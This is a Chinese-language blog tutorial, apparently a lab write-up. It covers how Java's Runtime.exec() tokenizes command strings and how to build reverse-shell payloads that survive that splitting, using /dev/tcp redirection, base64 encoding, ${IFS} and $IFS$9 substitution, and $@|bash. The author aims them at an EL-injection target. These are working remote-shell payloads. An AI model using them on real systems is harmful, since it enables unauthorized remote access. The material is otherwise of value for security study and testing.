Java Runtime.exe() 執(zhí)行命令與反彈shell(下)

續(xù)上篇

上篇詳細(xì)內(nèi)容請(qǐng)見(jiàn)

0x04 Runtime.exec() 理解

通過(guò)查閱資料和自己實(shí)踐發(fā)現(xiàn),exec方法總共六個(gè)重載方法

public Process exec(String command) throws IOException {
        return exec(command, null, null);
}

public Process exec(String command, String[] envp) throws IOException {
        return exec(command, envp, null);
}

public Process exec(String command, String[] envp, File dir)
        throws IOException {
        if (command.length() == 0)
            throw new IllegalArgumentException("Empty command");

        StringTokenizer st = new StringTokenizer(command);
        String[] cmdarray = new String[st.countTokens()];
        for (int i = 0; st.hasMoreTokens(); i++)
            cmdarray[i] = st.nextToken();
        return exec(cmdarray, envp, dir);
}

public Process exec(String cmdarray[]) throws IOException {
        return exec(cmdarray, null, null);
}

public Process exec(String[] cmdarray, String[] envp) throws IOException {
        return exec(cmdarray, envp, null);
}

public Process exec(String[] cmdarray, String[] envp, File dir)
        throws IOException {
        return new ProcessBuilder(cmdarray)
            .environment(envp)
            .directory(dir)
            .start();
}

但不管哪個(gè)方法,最后都是調(diào)用執(zhí)行 exec(String[] cmdarray, String[] envp, File dir)

首先來(lái)看我調(diào)用的 exec(String command) ,它經(jīng)過(guò) exec(String command, String[] envp, File dir) 函數(shù)里 StringTokenizer 通過(guò)分割符進(jìn)行分割。java 默認(rèn)的分隔符是空格("")、制表符(\t)、換行符(\n)、回車(chē)符(\r)。最后存入字符串?dāng)?shù)組,再傳入執(zhí)行函數(shù)。

而它的底層也是調(diào)用的 ProcessBuilder 創(chuàng)建進(jìn)程,而 array[0] 其實(shí)就是進(jìn)程位置

image

在經(jīng)過(guò)查閱資料,我發(fā)現(xiàn)直接傳入字符串之所以不能 執(zhí)行命令,主要有這幾個(gè)原因。:

1、重定向和管道符的使用方式在正在啟動(dòng)的進(jìn)程的中沒(méi)有意義。這是什么意思呢?例如,ls > dir_listing 在shell中執(zhí)行為將當(dāng)前目錄的列表輸出到命名為 dir_listing 。但是在 exec() 函數(shù)的中,該命令為解釋為獲取 >dir_listing 目錄的列表。

image

換句話(huà)來(lái)講,就是重定向和管道符,需要在我們諸如 bash 的環(huán)境下才有意義。所以我們需要將 /bin/bash 賦予給 array[0] 來(lái)調(diào)用 bash 進(jìn)程。

image

2、參數(shù)無(wú)法界定范圍。當(dāng)在你直接傳入 exec("bash -c 'bash -i >& /dev/tcp/xx.xx.xx.xx/6543 0>&1'") 整個(gè)字符串后。會(huì)經(jīng)過(guò) StringTokenizer 進(jìn)行分割,會(huì)變成

"bash" "-c" "'bash" "-i" ">&" "/dev/tcp/xx.xx.xx.xx/6543" "0>&1"

這會(huì)導(dǎo)致參數(shù)無(wú)法界定。比如我們此處解析的參數(shù)就是 -c 'bash 。

也就是說(shuō)我們這里的參數(shù) -c 的值,需要不讓他做分割。

0x05 執(zhí)行方法

1、傳入數(shù)組執(zhí)行

回過(guò)頭來(lái)看我們 exec() 的重載方法,發(fā)現(xiàn)如果是傳入數(shù)組的話(huà) exec(cmdarray[]) ,它并不會(huì)進(jìn)行分割的,所以反彈shell是可以采用的

exec(new String[]{"bash","-c","bash -i >& /dev/tcp/xx.xx.xx.xx/6543 0>&1")

但是我在執(zhí)行這句命令的時(shí)候,由于我復(fù)現(xiàn)的漏洞是根據(jù)一個(gè)EL表達(dá)式來(lái)執(zhí)行的。我鍵入 {} 以后便不會(huì)執(zhí)行命令,原因我猜測(cè)是因?yàn)橐?} 結(jié)尾后,導(dǎo)致語(yǔ)句出錯(cuò),便不執(zhí)行。

image

而網(wǎng)上的另一種寫(xiě)法,我反正本地是一紅到底

exec(["/bin/bash","-c","bash -i >& /dev/tcp/xx.xx.xx.xx/6543 0>&1"] as String[])
image

也就是我們這里暫時(shí)是沒(méi)法傳入數(shù)組的,需要只傳入一個(gè)cmd參數(shù) Runtime.getRuntime().exec(String cmd)。

2、傳入字符串執(zhí)行

在上文探討到,為了讓他能正常執(zhí)行,需要正確的界定 -c 參數(shù),也就是說(shuō)需要讓我們最后需要執(zhí)行的命令不進(jìn)行分割。

base64

bash 是支持 base64 編碼解碼的,所以可以采用,來(lái)進(jìn)行反彈。但是這里同上,存在 {},所以棄用這個(gè)方法

exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}");
IFS
IFS The Internal Field Separator that is used for word splitting after expansion and to split lines into words with the read builtin command. The default value is ''.

bashIFS 是內(nèi)部域分隔符,其默認(rèn)值為空白(包括:空格,tab, 和換行)

嘗試構(gòu)造payload:

bash${IFS}-i${IFS}>&${IFS}/dev/tcp/ip/port${IFS}0>&1

但是這樣會(huì)報(bào)不明確的重定向的錯(cuò)誤,然后我嘗試將所有重定向前后的 ${IFS} 去掉,利用 0>&1 等價(jià)于 0<&1 再來(lái)構(gòu)造,就能成功反彈shell了

bash${IFS}-i>&/dev/tcp/ip/port<&1
image

這里的{}使用來(lái)做截?cái)嗍褂玫?,例?cat$IFSt.txt ,$IFSt 被當(dāng)作了變量名。

而再在 $IFS 后面加 $ 也可以起到截?cái)嗟淖饔?,一般?$9 ,因?yàn)?$9 是當(dāng)前系統(tǒng)shell進(jìn)程的第九個(gè)參數(shù)的持有者,這里始終為空字符串。

image

我們這里 ${IFS}$IFS$9 都是相同的作用,所以直接替換就行了。

bash$IFS$9-i>&/dev/tcp/ip/port<&1

這里便成功執(zhí)行出來(lái)了。

image
@
*

$@ 代表傳入?yún)?shù)的列表 ,$* 以字符串方式顯示所有傳入的參數(shù)

例如

/bin/bash -c '$@|bash' 'xxx' 'echo' 'ls'

$@|bash 就相當(dāng)于獲取到的參數(shù)作為bash的輸入

而這里的由于 $* $@ 只會(huì)從腳本里讀取參數(shù),所以這里把 xxx 解釋為腳本名

也就是說(shuō),這里的

'$@|bash' 'xxx' 'echo' 'ls' 
執(zhí)行的是:
echo 'ls'|bash
image

所以我們便能通過(guò)這個(gè)來(lái)構(gòu)造我們的反彈shell了(這里的靶機(jī)是 vulfocus的試用地址
,各位不用擔(dān)心漏IP了)

image

總結(jié)

總的來(lái)說(shuō),根據(jù)查閱資料和自己實(shí)踐,收獲了很多知識(shí)。

特別感謝 spoockK0rz3n 兩位大佬的文章,看了大佬的分析后才學(xué)到了這么多東西,少走很多彎路。


完結(jié)散花~


參考文獻(xiàn)

Bash Hackers Wiki

Bash Reference Manual

Linux反彈shell(一)文件描述符與重定向

Linux 反彈shell(二)反彈shell的本質(zhì)

使用Java反彈shell

繞過(guò)exec獲取反彈shell

java命令執(zhí)行payloads

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀(guān)點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容